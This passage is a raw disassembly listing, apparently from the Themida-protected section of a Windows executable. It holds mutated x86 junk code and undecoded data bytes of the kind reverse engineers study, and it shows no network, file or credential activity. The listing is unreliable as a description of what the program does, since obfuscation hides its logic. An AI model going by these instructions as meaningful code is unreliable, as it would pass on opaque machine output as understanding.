		dd 0FFFFCD51h, 4240481h, 5E000000h, 0FFD354E9h,	0E3C281FFh
		dd 151297Dh, 0E3EA81CAh, 0FF51297Dh, 38E92434h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559C77:				; CODE XREF: Themida_:00561001j
		sub	ebx, 74D65CBAh
		xor	edi, ebx
		pop	ebx
		jmp	loc_55CD14
; ---------------------------------------------------------------------------

loc_559C85:				; CODE XREF: Themida_:005585BEj
		mov	[esp], eax
		push	edi
		mov	edi, 41F873EAh
		or	edi, 647C6B3Eh
		sub	edi, 36631755h
		or	edi, 229B4528h
		add	edi, 0F00DEF79h
		mov	eax, edi
		pop	edi
		mov	edx, 5E5A035Dh
		xor	edx, eax
		pop	eax
		sub	edx, 21522D9Eh
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55E91D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aWicuh_		db '$W‰çUh,.',0
		align 2
		dw 489h
		dd 311CB824h, 0E0C142E9h, 8725E902h, 0F0240000h, 0C5883F2Ch
		dd 0E9EF8858h, 7CA4h, 6624248Bh, 9C2404D3h, 0FF8B01E9h
		dd 62A568FFh, 14890000h, 15E9E924h, 0C4810000h,	4, 0EAE9C529h
		dd 8B00000Ah, 89662424h, 0F66240Ch, 67E9C8B6h, 52FFFFD4h
		dd 0B5E9E289h, 1FFFFEAh, 0B122E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559D36:				; CODE XREF: Themida_:005541B0j
		mov	edi, 5BE74574h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_566A74
; ---------------------------------------------------------------------------

loc_559D54:				; CODE XREF: Themida_:0055984Ej
		shl	edx, 1
		sub	esp, 4
		jmp	loc_55F3BB
; ---------------------------------------------------------------------------
aISn		db '‰$$éN¿',0
		align 2
		dw 34FFh
		dd 54525924h, 4C2815Ah,	81000000h, 4C2h, 24143300h, 33241431h
		dd 248B2414h, 44686624h, 0B1ABE928h, 0ED81FFFFh, 0D8A3977Fh
		dd 1853EF81h, 0EF011EBDh, 8D98E9h, 5303B500h, 397CE9h
		db 0
; ---------------------------------------------------------------------------

loc_559DA9:				; CODE XREF: Themida_:00561216j
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		dw 0E1F7h
		dd 9ADE9h, 0E9C14900h, 8E1C103h, 0A6C3F181h, 0C781B280h
		dd 73207D5Ah, 0EF81CF29h, 73207D5Ah, 8BF80159h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563E3D
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 52B60939h, 70A5CF81h, 814F5AB7h, 5F5842F7h, 81D7F735h
		dd 0C89F56F7h, 5FFD89F6h, 815DEE29h, 8071C2F6h,	8BB8E96Bh
		dd 0E7890000h, 6218E9h,	0F666400h, 686602B6h, 89665E21h
		dd 0DBE92404h, 89FFFF89h, 0EC81240Ch, 4, 89243C89h, 8BF989D7h
		dd 0C481243Ch, 4, 93E3E9h, 4C18100h, 55000000h,	363C68BDh
		dd 2EDC149h, 7DCEED81h,	684BA5h, 89000059h, 9ABF243Ch
		dd 4F163E3Dh, 0D7F7DFF7h, 356FE781h, 0CCE976F3h, 8B00008Ch
		dd 0D4E9240Ch
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559E7B:				; CODE XREF: Themida_:00554572j
		mov	ebp, 71204B9Eh
		push	1116h
		mov	[esp], ecx
		jmp	loc_557C1B
; ---------------------------------------------------------------------------
		db 89h,	0DFh, 5Bh
		dd 3C8BFB01h, 4C48324h,	14F8C381h, 0F3012BA9h, 14F8EB81h
		dd 0EB812BA9h, 2CCB0A88h, 0E924348Bh, 0FFFFC712h, 305BDD30h
		dd 240C8BE8h, 8104C483h, 4ECh, 240C8900h, 998CE9h
		db 0
; ---------------------------------------------------------------------------

loc_559ECD:				; CODE XREF: Themida_:0055C754j
		xor	edx, [esp]
		xor	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55F5D2
; ---------------------------------------------------------------------------
		db 31h
		dd 24148BD3h, 3104C483h, 814F5BDFh, 6A6D1FEFh, 3488684Eh
		dd 14890000h, 148B5724h, 16A1E924h, 0C4810000h,	4, 0B4B45051h
		dd 0E1308DB1h, 0E924048Bh, 4C69h
; ---------------------------------------------------------------------------

loc_559F20:				; CODE XREF: Themida_:0055594Dj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	20714A20h
		pop	eax
		push	37F1126Dh
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_5636D1
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C8AF0F24h, 3DE99C51h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559F4B:				; CODE XREF: Themida_:00566456j
		pop	esp
		jmp	loc_55B846
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHgh		db '$hƒh',0
		align 2
		dw 489h
aSt8		db '$éâ8',0
		align 2
aMss7		db '¬Sé',7,'7',0
		db 0
; ---------------------------------------------------------------------------

loc_559F69:				; CODE XREF: Themida_:00560A31j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	4880h
		mov	[esp], ecx
		jmp	loc_554A9F
; ---------------------------------------------------------------------------

loc_559F7D:				; CODE XREF: Themida_:0055435Fj
		pop	ebx
		add	bl, 70h
		jmp	loc_55554C
; ---------------------------------------------------------------------------
		dw 159h
		dd 36BAE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559F8E:				; CODE XREF: Themida_:0055D991j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5630FC
; ---------------------------------------------------------------------------

loc_559FA2:				; CODE XREF: Themida_:00564073j
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		dw 1489h
aUs@		db '$Ué#@',0
		dw 0F700h
		dd 17E9241Ch
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559FC7:				; CODE XREF: Themida_:00565642j
		add	bl, ch
		jmp	loc_562207
; ---------------------------------------------------------------------------
		dw 3558h
		dd 204266D1h, 0B949E95Ah, 0DD30FFFFh, 0CDE9EB30h, 52FFFFC6h
		dd 0FF902BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559FE9:				; CODE XREF: Themida_:0055359Ej
		inc	edx
		push	eax
		jmp	loc_5679D8
; ---------------------------------------------------------------------------
aZSy		db '‡<$éY',7,0
		align 4
		dd 81240C8Bh, 4C4h, 83C80100h, 3C8904ECh, 305DE924h, 5400000h
		dd 2F1CC30Ah, 158C731h,	2434FFF8h, 4C4835Fh, 1A3DE9h, 0E9815900h
		dd 9C1DDCEh, 3159C889h,	2434FFF0h, 4C4815Eh, 51000000h
		dd 2252C1B9h, 0D9F74101h, 3C98C181h, 0C18124A7h, 23817F63h
		dd 0EA9AC181h, 56E9C306h, 68FFFFD0h, 3140h, 0E9240489h
		dd 0FFFFF192h, 343D9BAh, 2EC2811Ah, 0E96C88C1h,	7A02h
		dd 79E9D031h, 5B000091h, 55BD801h, 4, 0FFB44AE9h, 0E68956FFh
		dd 4C681h, 0C6830000h, 24348704h, 0BA6BE95Ch, 83AD0000h
		dd 0F00207Fh, 0FFFFAE84h, 7EC681FFh, 52551C26h,	0C281E289h
		dd 4, 8704EA83h, 248B2414h, 240C8924h, 15FDB850h, 0C1891A4Eh
		dd 582434FFh, 57585450h, 4BFh, 5FF80100h, 405h,	24048700h
		dd 1BB535Ch, 0E9000000h, 560Ah,	317BBE0Dh, 7E8C13Fh, 209DE9h
		dd 0C6815E00h, 4, 5604EE83h, 42474FFh, 24048F5Eh, 243C895Ch
		dd 0A0DEE950h, 0D529FFFFh, 74FF555Ah, 0E95D0424h, 8470h
; ---------------------------------------------------------------------------

loc_55A12C:				; CODE XREF: Themida_:00562177j
		add	ch, 0EDh
		jmp	loc_55D851
; ---------------------------------------------------------------------------
		dd 0EA81EA01h, 155E0AA5h, 2C1DC281h, 0F7E97159h, 0B4000044h
		dd 32F4805Dh, 8ADDE952h, 505EFFFFh, 7134C6B8h, 0C6354833h
		dd 290C9B0Bh, 24048BC5h, 0FFFBA1E9h, 2474FFFFh,	24148B04h
		dd 8F04C483h, 248B2404h, 48B6624h, 618FE924h, 0FDB90000h
		dd 2DAC729Bh, 6AE3745Eh, 74E9C829h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A193:				; CODE XREF: Themida_:0055E05Aj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 14E64AA3h
		not	ecx
		add	ecx, 707656FEh
		add	ebx, ecx
		pop	ecx
		push	ebx
		add	dword ptr [esp], 529069D4h
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5545DB
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF93A8h, 5EEC15Fh, 7CD68h, 24048900h, 0DC10ACB8h
		dd 8E0C153h, 0DCE03540h, 2905B97Fh, 252A4C5Dh, 6F3A60BEh
		dd 4367BF57h, 0F8216192h, 685Fh, 4290000h, 0EE2D5824h
		dd 0E9AF927Ch, 0D6D0h, 24048B66h, 56E568h, 241C8900h, 90685B54h
		dd 8900003Dh, 17E92404h, 6800002Eh, 1918h, 0FF241C89h
		dd 8B042474h, 4CE9241Ch
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A243:				; CODE XREF: Themida_:0055490Bj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_560537
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 5E08924h, 4, 5CA6E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A26A:				; CODE XREF: Themida_:00553F75j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		push	edx
		push	0
		pop	edx
		sub	edx, 8191289h
		add	edx, eax
		add	edx, 8191289h
		add	[edx], ecx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5554B7
; ---------------------------------------------------------------------------

loc_55A29A:				; CODE XREF: Themida_:00563351j
		shl	cl, 5
		jmp	loc_55930F
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 114Fh, 4E2C15Ah, 729DF281h, 0D089EDE4h, 2FC0E95Ah, 68560000h
		dd 7810h, 81242489h, 42404h, 815E0000h,	4C6h, 4685300h
		dd 5B000000h, 0E95BDE01h, 0FFFFF84Eh
; ---------------------------------------------------------------------------

loc_55A2E0:				; CODE XREF: Themida_:005591D2j
		not	esi
		push	ebx
		jmp	loc_5637BF
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 0E15E924h, 0C4810000h, 4,	4C581h
		dd 0C5810000h, 4, 2474FF55h, 48F5D04h, 0D8295C24h, 144FB951h
		dd 0E98161C0h, 0E858FE72h, 1846E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A325:				; CODE XREF: Themida_:0056457Cj
		shr	al, 2
		not	al
		jmp	loc_55345E
; ---------------------------------------------------------------------------
		db 5
aPusbUrp9sfo	db 'Úã‘ÆUR9éFO',0
		db 0
; ---------------------------------------------------------------------------

loc_55A33F:				; CODE XREF: Themida_:0055F612j
		xor	edx, 0A627E55Ch
		sub	edi, edx
		pop	edx
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_555030
; ---------------------------------------------------------------------------
aUBuC		db 'Áî',8,'î',7,'š—',0
		db 81h
		dd 6B631DEDh, 81F50149h, 6B631DC5h, 0AE95E49h, 8100002Ah
		dd 0EB3326C2h, 0E9C22930h, 0FFFF92D3h, 815FF931h, 4ECh
		dd 24148900h, 1796E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A391:				; CODE XREF: Themida_:005597CDj
		pop	dword ptr [edi+24h]

loc_55A394:				; CODE XREF: Themida_:0055B98Bj
		push	7600h
		mov	[esp], ebx
		push	eax
		jmp	loc_55EF1C
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 241C8704h, 2414895Ch, 0F680B5B6h, 650AE9DEh,	0EA830000h
		dd 24148704h, 5134E95Ch, 0D5890000h, 0B1F3E95Ah, 0C89FFFFh
		dd 4EE1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A3D2:				; CODE XREF: Themida_:0056201Ej
		sub	edi, ecx
		jmp	loc_564111
; ---------------------------------------------------------------------------

loc_55A3D9:				; CODE XREF: Themida_:00561C96j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_566063
; ---------------------------------------------------------------------------

loc_55A3E4:				; CODE XREF: Themida_:005579A1j
		pop	ecx
		add	edi, edx
		push	ebp
		mov	ebp, 40230A99h
		jmp	loc_558196
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C2h, 4C28300h, 5C241487h, 4C481h, 7AE90000h, 2800003Dh
		dd 525A66D0h, 0D000FCB2h, 0FFE4CCE9h, 0CCC781FFh, 521E737Bh
		dd 5B83E9h, 49506800h, 3C890000h, 48BCBF24h, 0CF814599h
		dd 3CD5635Dh, 51FFEF83h, 0FFD519E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A441:				; CODE XREF: Themida_:00565AECj
		mov	[esp], ebx
		push	435161D5h
		pop	ebx
		add	edx, ebx
		pop	ebx
		jmp	loc_55D3ED
; ---------------------------------------------------------------------------
aYs		db 'Yé!^',0
		align 4
aSsk		db 'SéK;',0
		align 2
		dw 1489h
		dd 81E28924h, 4C2h, 4EC8300h, 0E9243489h, 0FFFF896Bh
; ---------------------------------------------------------------------------

loc_55A474:				; CODE XREF: Themida_:0055F193j
		add	ecx, 105F52FBh
		jmp	loc_55BB90
; ---------------------------------------------------------------------------
		db 68h
		dd 7AD5h, 50242489h, 4B8h, 24440100h, 549AE904h, 1C890000h
		dd 0DF3FE924h, 2AB9FFFFh, 6830D819h, 1EB5h, 0FFD3A4E9h
		dd 0B4505CFFh, 77C38025h, 0EB80E300h, 50E95877h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A4BF:				; CODE XREF: Themida_:00559879j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55C7CB
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 895C2404h, 90E92404h, 5Bh, 59E959EBh, 53FFFFA9h, 0FFF226E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A4E9:				; CODE XREF: Themida_:00558346j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5601B7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0FE65E904h, 3489FFFFh, 9DE95224h, 8800004Ch,	0E9505AD7h
		dd 0D02Ch
; ---------------------------------------------------------------------------

loc_55A520:				; CODE XREF: Themida_:0055ADE8j
		mov	edx, 0B925F272h
		jmp	loc_55C127
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0B8505B00h, 4,	0EFE9C301h, 10000ABh, 85A7E9D5h
		dd 0C181FFFFh, 4, 5C240C87h, 683168h, 242C8900h, 6DDBBA52h
		dd 0D5891300h, 0E9EF215Ah, 0B0C2h
; ---------------------------------------------------------------------------

loc_55A568:				; CODE XREF: Themida_:005631C1j
		mov	[esp], ax
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_55A571:				; CODE XREF: Themida_:0055A9AEj
		mov	eax, 4
		jmp	loc_553A96
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E8D106E0h, 320AD40Dh, 21B22D14h, 0BD557FAFh, 0BD873D46h
		dd 3D82E9h, 6791BA00h, 90E93A0Bh, 680000B8h, 6D95h, 5DC6E9h
		dd 68E08900h, 2A0Dh, 0CDA0E9h, 0FFC18100h, 81FFFFFFh, 0B04F76F1h
		dd 81D1F739h, 6CAA88F1h, 59CB29B3h, 1AB3C381h, 0C3017701h
		dd 4EC81h, 2C890000h, 4E6ABD24h, 56E90629h, 29000077h
		dd 0F5315FFEh, 0FFC5815Eh, 0F7FFFFFFh, 5CF581D5h, 298B2CC5h
		dd 242C8BE8h, 6804C483h, 5A8Ah,	51243489h, 0FFACE4E9h
		dd 4BB53FFh, 1000000h, 2434FFDFh, 0E689565Bh, 6D5AE9h
		dd 4C48300h, 0FFFFE4E9h, 34895CFFh, 0DD2EE924h,	77FFFFFFh
		dd 58669D1Ch, 9C240410h, 0FFA4C3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A645:				; CODE XREF: Themida_:0055A9F4j
		xor	[esp], ebp
		jmp	loc_557761
; ---------------------------------------------------------------------------
		db 87h,	0E9h, 81h
		dd 5F7BC3E1h, 42C18135h, 1FAB2C7h, 565059CBh, 4BEh, 5EF08900h
		dd 4300C381h, 0C3017E9Ah, 0C2D9E9h, 0C9E95B00h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A67B:				; CODE XREF: Themida_:0056528Ej
		shl	edx, 1
		push	7263h
		mov	[esp], edx
		jmp	loc_55EF59
; ---------------------------------------------------------------------------
		dw 0F581h
aFjlSwo		db 'äj‹',0Ah
		db 'éw®',0
		dd 0B5FB800h, 0C53512EEh, 9542D60h, 83E958C2h, 0B8FFFFD8h
		dd 9D17469h, 0A05BE9h, 32B95100h, 0E977FA10h, 0BE89h, 0C0FEDB24h
		dd 1BE9D0F6h, 0D1FFFFF6h, 0F7CF87E7h, 31CF31D1h, 0E9CF31F9h
		dd 0FFFFD050h, 8B04C483h, 0C483241Ch, 0B53AE904h, 13E90000h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A6EB:				; CODE XREF: Themida_:00558191j
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5586EE
; ---------------------------------------------------------------------------
		db 31h
		dd 0F7D987C3h, 16F181D1h, 893FCC66h, 0E6C159CEh, 3E6C103h
		dd 3A3A68h, 24148900h, 65BF68h,	0B670E900h, 0E95C0000h
		dd 41B8h, 0CBE9C301h, 59FFFFBBh, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 285C2414h, 24048BE2h, 21E4E9h, 14895C00h
		dd 11AA6824h, 148B0514h, 0A95E924h, 0E9520000h,	60FAh
; ---------------------------------------------------------------------------

loc_55A768:				; CODE XREF: Themida_:0055EC7Ej
		push	1127h
		jmp	loc_55C84A
; ---------------------------------------------------------------------------
		dw 0E868h
		dd 89000077h, 5CE92404h, 8100008Bh, 660A6FC7h, 0EBE561Eh
		dd 297E584Fh, 0CF015EF7h, 7CBFBD55h, 0C5817BCFh, 0FFFFFFFFh
		dd 0E902EDC1h, 0FFFFBC55h, 8080EE80h, 3FE966C1h, 5DFFFFF0h
		dd 5C243487h, 24048B66h, 8904EC83h, 0FE68242Ch,	8900003Eh
		dd 0E189240Ch, 4C181h, 0E9810000h, 4, 4B5FE9h, 0E790500h
		dd 0C62D787Fh, 5F2DD773h, 656ABD55h, 0E5817FFDh, 3D0E686Dh
		dd 41BDBB53h, 0EB8163A1h, 338F1687h, 0C2BBE9h, 3C58100h
		dd 0FF3FEA3Fh, 3AE92434h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A80F:				; CODE XREF: Themida_:0055D7EBj
		add	ebx, 0E79D1537h
		push	ebx
		jmp	loc_564B6E
; ---------------------------------------------------------------------------

loc_55A81B:				; CODE XREF: Themida_:00553EAFj
		push	eax
		mov	eax, 1D061CC5h
		sub	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 2EF1ED5h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 2EF1ED5h
		add	dword ptr [esp+4], 1D061CC5h
		sub	dword ptr [esp+4], 35255B2Dh
		sub	dword ptr [esp+4], 37F70178h
		pop	esi
		pop	dword ptr [edi+24h]

loc_55A85E:				; CODE XREF: Themida_:0055F8C6j
		push	ebp
		push	ebx
		push	esi
		mov	esi, 323161Eh
		jmp	loc_55D4A8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EE832424h, 0CEF681FFh, 1774A0Ch, 24348BF2h,	3304C483h
		dd 14312414h, 0C654E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A88A:				; CODE XREF: Themida_:0055EC1Cj
		mov	edi, 4
		jmp	loc_556DBB
; ---------------------------------------------------------------------------

loc_55A894:				; CODE XREF: Themida_:0055FA2Ej
		mov	dh, ch
		pop	cx
		jmp	loc_563247
; ---------------------------------------------------------------------------

loc_55A89D:				; CODE XREF: Themida_:0055ED30j
		sub	esp, 4
		mov	[esp], ebx
		push	5E36h
		mov	[esp], edx
		push	ecx
		push	7B8D1632h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 1FF5061Ch
		jmp	loc_55FB3F
; ---------------------------------------------------------------------------
		db 59h,	30h, 0FDh
		dd 52241C8Bh, 39E95A54h, 66FFFFD8h, 0E924048Bh,	1450h
		dd 0D7F7FA87h, 8142FA87h, 43126DCAh, 0E9E2D114h, 0AA4Bh
		dd 0CD295F59h, 0D098E959h, 0C1810000h, 332377FBh, 159CA29h
		dd 83575AD1h, 0FBE904ECh, 81FFFFFBh, 0F87E61EFh, 2EFC171h
		dd 1F55E781h, 69E927A8h, 8F00008Bh, 7ED0E902h, 0E589FFFFh
		dd 4C581h, 0BB530000h, 4, 875BDD29h, 0C1E9242Ch, 5A0000B0h
		dd 0FFC54FE9h, 21B850FFh, 53FD44Dh, 3B080831h, 0F748D0F7h
		dd 0FFBA52D0h, 0E97AB86Bh, 0FFFFF710h
; ---------------------------------------------------------------------------

loc_55A968:				; CODE XREF: Themida_:00565F50j
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, 7A5C2806h
		shr	ecx, 1
		xor	ecx, 6B121FAFh
		jmp	loc_558039
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 9CB8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A98A:				; CODE XREF: Themida_:0055F63Aj
		xchg	eax, [esp]
		mov	esp, [esp]
		push	33A0h
		mov	[esp], ebp
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		jmp	loc_55A571
; ---------------------------------------------------------------------------
aBuR		db 'BU½',27h,'RÏ',0
		dw 7CE9h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A9BF:				; CODE XREF: Themida_:005676C6j
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_567590
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FF7EC0E9h, 2434FFFFh, 0E924348Bh, 3494h
; ---------------------------------------------------------------------------

loc_55A9E0:				; CODE XREF: Themida_:00555C1Ej
		mov	[esp], ebp
		jmp	loc_554082
; ---------------------------------------------------------------------------

loc_55A9E8:				; CODE XREF: Themida_:005589ACj
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55A645
; ---------------------------------------------------------------------------

loc_55A9F9:				; CODE XREF: Themida_:00562E2Fj
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		jmp	loc_55B7EA
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 57592434h, 0B9515F54h, 4, 0FFC831E9h, 0AABE56FFh
		dd 3101757Fh, 0C5815EF5h, 0C2291EA3h, 0BBE95655h, 8100005Ch
		dd 4C3h, 9CBF5700h, 0E92F3639h,	3E3Ch
; ---------------------------------------------------------------------------

loc_55AA40:				; CODE XREF: Themida_:00553A59j
		add	edx, eax
		jmp	loc_557251
; ---------------------------------------------------------------------------

loc_55AA47:				; CODE XREF: Themida_:005592B8j
		sub	bh, dl
		pop	dx
		jmp	loc_554512
; ---------------------------------------------------------------------------

loc_55AA50:				; CODE XREF: Themida_:005643A1j
		pop	esi
		add	esi, 4
		sub	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_561BBD
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2EF86DEDh, 0B850CB01h, 2EF86DEDh, 1BE9C329h,	5B0000BDh
		dd 2CC9E952h, 0C7810000h, 56DD1735h, 4B5FFB89h,	0FFCE6AE9h
		dd 0DE015DFFh, 0C71EE9h, 0E9D8F700h, 8728h
; ---------------------------------------------------------------------------

loc_55AAAC:				; CODE XREF: Themida_:00557D5Bj
		add	edx, 10BF677Eh
		add	edx, eax
		jmp	loc_553693
; ---------------------------------------------------------------------------
		db 5Ah,	29h, 0DDh
		dd 12E7ED81h, 0BB5300B2h, 5EAD19B7h, 3157E9h, 3C895C00h
		dd 2E34E924h, 0A4680000h, 0E9000040h, 5487h, 8904EC83h
		dd 0CABB241Ch, 0E971B262h, 7730h
; ---------------------------------------------------------------------------

loc_55AAF0:				; CODE XREF: Themida_:0055EFE5j
		pop	eax
		mov	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 527F5F42h
		sub	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		add	[esp+4], edx
		add	dword ptr [esp+4], 527F5F42h
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55F6ED
; ---------------------------------------------------------------------------

loc_55AB1B:				; CODE XREF: Themida_:0055551Dj
		add	esp, 4
		add	esi, 4
		push	1AEBh
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_56316C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2434FFh, 0FAE92434h, 0B3000085h, 0A2E380ECh, 889FEB80h
		dd 0CA005BD9h, 0B2525159h, 0E908B5CFh, 6EEAh
; ---------------------------------------------------------------------------

loc_55AB60:				; CODE XREF: Themida_:005553B1j
		mov	bl, 0F2h
		add	bl, 71h
		and	bl, 57h
		add	bl, 0BBh
		sub	bl, 0F6h
		not	bl
		jmp	loc_55EDF9
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 8957555Ch, 4C781E7h,	81000000h, 4EFh, 243C8700h, 2424895Ch
		dd 4240483h, 4C5815Dh, 83000000h, 0FF5504C5h, 5D042474h
		dd 9D9EE9h, 4C48300h, 34FFF501h, 2AE95E24h, 1FFFF99h, 4467E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ABBE:				; CODE XREF: Themida_:00564261j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	1DF2h
		jmp	loc_566B7F
; ---------------------------------------------------------------------------

loc_55ABDB:				; CODE XREF: Themida_:00559693j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		push	1F4B23BFh
		push	dword ptr [esp]
		pop	edx
		push	359h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_555CC1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240421h, 0FF7BE5E9h, 4C181FFh, 52000000h, 780396BAh
		dd 3B7FE967h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AC2A:				; CODE XREF: Themida_:00560EDDj
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	small 3BCh
		mov	[esp], bx
		push	5777h
		mov	[esp], esi
		push	small 7EB4h
		pop	si
		jmp	loc_55D9EA
; ---------------------------------------------------------------------------
		dd 0CE0A1068h, 0D8D8E91Ah, 0BF57FFFFh, 69AC6305h, 3BFFEF81h
		dd 0FB29238Ch, 35CDE9h,	6E2C100h, 5242D2F7h, 5A2414F7h
		dd 43D6C281h, 0DAF77B78h, 6FAFC281h, 1D056D37h,	29680351h
		dd 511D2DD0h, 2D5A6803h, 137B4F09h, 905F001h, 56137B4Fh
		dd 0C681E689h, 4, 4EE81h, 34870000h, 62E95C24h,	8BFFFFBFh
		dd 0A1E92404h, 83FFFFA1h, 506602C4h, 6900E9h, 0E2895200h
		dd 4C281h, 0C2810000h, 4, 8B241487h, 0D7F72424h, 764AF781h
		dd 0FEE9163Bh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55ACEF:				; CODE XREF: Themida_:0055FC39j
		pop	edx
		sub	edx, 14F20D29h
		pop	esi
		jmp	loc_5673DC
; ---------------------------------------------------------------------------
		dd 78C68h, 24048900h, 405E089h,	83000000h, 48704C0h, 34FF5C24h
		dd 0C4835F24h, 2BE95004h, 830000B4h, 0C8904ECh,	80CBB124h
		dd 0D9F65FF1h, 80FFC180h, 0C180D4C9h, 0F304ADh,	59F32CC8h
		dd 0EC815251h, 4, 0E9240489h, 3653h, 8704C283h,	685C2414h
		dd 74DCh, 0BA241489h, 121D34A8h, 8C685653h, 5E46136Ch
		dd 7B18C681h, 0EE8156F6h, 59B6E18Bh, 565EF389h,	10C6D0BEh
		dd 0E9F32960h, 0FFFFA1E7h
; ---------------------------------------------------------------------------

loc_55AD84:				; CODE XREF: Themida_:0055F103j
		mov	edx, [esp]
		jmp	loc_55522E
; ---------------------------------------------------------------------------

